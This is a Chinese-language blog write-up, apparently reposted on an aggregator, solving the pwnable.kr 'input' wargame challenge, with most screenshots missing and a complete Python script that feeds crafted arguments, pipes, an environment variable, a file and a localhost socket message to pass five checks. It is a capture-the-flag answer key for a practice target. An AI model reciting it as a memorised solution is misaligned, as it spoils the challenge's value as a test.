首页 > 其他 > 详细

pwnable.kr-input-witeup

时间:2019-04-21 23:34:40      阅读:137      评论:0      收藏:0      [点我收藏+]

查看代码,有5个stage,一一解决掉就能愉快看到flag了。

第一个stage:

技术分享图片

解决方案:

技术分享图片

技术分享图片

 

第二个stage:

技术分享图片

 

解决方案:

使用了os.pipe()函数功能,os.pipe()用于创建一个管道,返回一对文件描述符(r,w)分别为读和写。

技术分享图片

技术分享图片

第三个stage:

技术分享图片

解决方案:

技术分享图片

第四个stage:

技术分享图片

解决方案:

技术分享图片

第五个stage:

技术分享图片

解决方案:

技术分享图片

解决方案全代码:

#!/usr/bin/python
import subprocess
import os
import socket

str1=[‘a‘]*100
str1[0]=‘./input‘
str1[ord(‘A‘)]=""
str1[ord(‘B‘)]="\x20\x0a\x0d"
str1[ord(‘C‘)]="65530"

stdinr,stdinw=os.pipe()
os.write(stdinw,"\x00\x0a\x00\xff")
stderrr,stderrw=os.pipe()
os.write(stderrw,"\x00\x0a\x02\xff")

os.environ["\xde\xad\xbe\xef"]="\xca\xfe\xba\xbe"

with open(‘./\x0a‘,‘wb‘) as fd:
	fd.write("\x00\x00\x00\x00")

subprocess.Popen(str1,stdin=stdinr,stderr=stderrr,env=os.environ)

obj=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
obj.connect((‘127.0.0.1‘,65530))
obj.send("\xde\xad\xbe\xef")
obj.close()

 这并没有结束,登上远程主机发现没有用,查看目录权限,

 技术分享图片

tmp目录可写,就进去通过ln -s建立flag和input的软连接,并创建python脚本愉快地执行,完成。

 

pwnable.kr-input-witeup

原文:https://www.cnblogs.com/HYWZ36/p/10747695.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!